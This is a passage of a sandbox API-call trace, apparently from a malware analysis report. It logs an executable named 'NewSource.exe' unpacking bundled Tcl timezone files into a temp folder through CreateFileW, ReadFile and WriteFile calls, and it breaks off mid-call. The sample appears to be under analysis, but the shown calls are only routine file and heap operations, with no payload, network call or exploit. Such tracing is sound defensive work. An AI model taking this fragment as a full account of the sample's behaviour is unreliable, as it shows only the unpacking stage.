SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.183] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.183] CloseHandle (hObject=0x10c) returned 1 [0040.183] GetLastError () returned 0x0 [0040.183] SetLastError (dwErrCode=0x0) [0040.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.183] GetFileType (hFile=0x10c) returned 0x1 [0040.183] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.183] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.183] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.183] CloseHandle (hObject=0x10c) returned 1 [0040.183] GetLastError () returned 0x0 [0040.183] SetLastError (dwErrCode=0x0) [0040.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.184] GetFileType (hFile=0x10c) returned 0x1 [0040.184] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.184] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.184] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.184] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.184] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.184] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.184] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.184] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.184] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.184] CloseHandle (hObject=0x10c) returned 1 [0040.184] GetLastError () returned 0x0 [0040.184] SetLastError (dwErrCode=0x0) [0040.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Istanbul") returned 70 [0040.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Istanbul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\istanbul"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.184] GetLastError () returned 0x2 [0040.184] SetLastError (dwErrCode=0x2) [0040.184] GetLastError () returned 0x2 [0040.184] SetLastError (dwErrCode=0x2) [0040.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Istanbul", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Istanbul", lpFilePart=0x0) returned 0x45 [0040.184] GetLastError () returned 0x2 [0040.184] SetLastError (dwErrCode=0x2) [0040.184] GetLastError () returned 0x2 [0040.185] SetLastError (dwErrCode=0x2) [0040.185] GetLastError () returned 0x2 [0040.185] SetLastError (dwErrCode=0x2) [0040.185] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Istanbul") returned 70 [0040.185] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Istanbul" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\istanbul"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.185] GetFileType (hFile=0x10c) returned 0x1 [0040.185] htonl (hostlong=0xb6000000) returned 0xb6 [0040.185] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.185] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb6, lpOverlapped=0x0) returned 1 [0040.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.186] CloseHandle (hObject=0x10c) returned 1 [0040.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.186] htonl (hostlong=0x30000000) returned 0x30 [0040.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.187] GetFileType (hFile=0x10c) returned 0x1 [0040.187] htonl (hostlong=0xa7e65a00) returned 0x5ae6a7 [0040.187] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f96a7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.187] htonl (hostlong=0xca000000) returned 0xca [0040.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xca) returned 0x546940 [0040.187] htonl (hostlong=0xca000000) returned 0xca [0040.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.187] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.187] htonl (hostlong=0x5e010000) returned 0x15e [0040.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15e) returned 0x550600 [0040.187] htonl (hostlong=0xca000000) returned 0xca [0040.187] htonl (hostlong=0x5e010000) returned 0x15e [0040.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.187] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.187] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546940 | out: hHeap=0x530000) returned 1 [0040.187] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.187] CloseHandle (hObject=0x10c) returned 1 [0040.187] GetLastError () returned 0x0 [0040.187] SetLastError (dwErrCode=0x0) [0040.187] GetLastError () returned 0x0 [0040.187] SetLastError (dwErrCode=0x0) [0040.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.187] GetFileType (hFile=0x10c) returned 0x1 [0040.187] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.188] CloseHandle (hObject=0x10c) returned 1 [0040.188] GetLastError () returned 0x0 [0040.188] SetLastError (dwErrCode=0x0) [0040.188] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.188] GetFileType (hFile=0x10c) returned 0x1 [0040.188] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.188] CloseHandle (hObject=0x10c) returned 1 [0040.188] GetLastError () returned 0x0 [0040.188] SetLastError (dwErrCode=0x0) [0040.188] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.189] GetFileType (hFile=0x10c) returned 0x1 [0040.189] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.189] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.189] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.189] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.189] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.189] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.189] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.189] CloseHandle (hObject=0x10c) returned 1 [0040.189] GetLastError () returned 0x0 [0040.189] SetLastError (dwErrCode=0x0) [0040.189] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jakarta") returned 69 [0040.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jakarta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\jakarta"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.189] GetLastError () returned 0x2 [0040.189] SetLastError (dwErrCode=0x2) [0040.189] GetLastError () returned 0x2 [0040.189] SetLastError (dwErrCode=0x2) [0040.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jakarta", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jakarta", lpFilePart=0x0) returned 0x44 [0040.189] GetLastError () returned 0x2 [0040.189] SetLastError (dwErrCode=0x2) [0040.189] GetLastError () returned 0x2 [0040.189] SetLastError (dwErrCode=0x2) [0040.189] GetLastError () returned 0x2 [0040.189] SetLastError (dwErrCode=0x2) [0040.189] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jakarta") returned 69 [0040.190] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Jakarta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\jakarta"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.191] GetFileType (hFile=0x10c) returned 0x1 [0040.191] htonl (hostlong=0x5e010000) returned 0x15e [0040.191] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.191] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x15e, lpOverlapped=0x0) returned 1 [0040.192] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.192] CloseHandle (hObject=0x10c) returned 1 [0040.192] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.192] htonl (hostlong=0x30000000) returned 0x30 [0040.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.193] GetFileType (hFile=0x10c) returned 0x1 [0040.193] htonl (hostlong=0x71e75a00) returned 0x5ae771 [0040.193] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f9771, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.193] htonl (hostlong=0xa0000000) returned 0xa0 [0040.193] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x55cfe0 [0040.193] htonl (hostlong=0xa0000000) returned 0xa0 [0040.193] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.193] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.193] htonl (hostlong=0xcb000000) returned 0xcb [0040.193] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcb) returned 0x546430 [0040.193] htonl (hostlong=0xa0000000) returned 0xa0 [0040.193] htonl (hostlong=0xcb000000) returned 0xcb [0040.193] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.193] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.193] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.193] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.193] CloseHandle (hObject=0x10c) returned 1 [0040.193] GetLastError () returned 0x0 [0040.193] SetLastError (dwErrCode=0x0) [0040.193] GetLastError () returned 0x0 [0040.193] SetLastError (dwErrCode=0x0) [0040.193] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.193] GetFileType (hFile=0x10c) returned 0x1 [0040.193] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.193] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.194] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.194] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.194] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.194] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.194] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.194] CloseHandle (hObject=0x10c) returned 1 [0040.194] GetLastError () returned 0x0 [0040.194] SetLastError (dwErrCode=0x0) [0040.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.194] CreateFileW 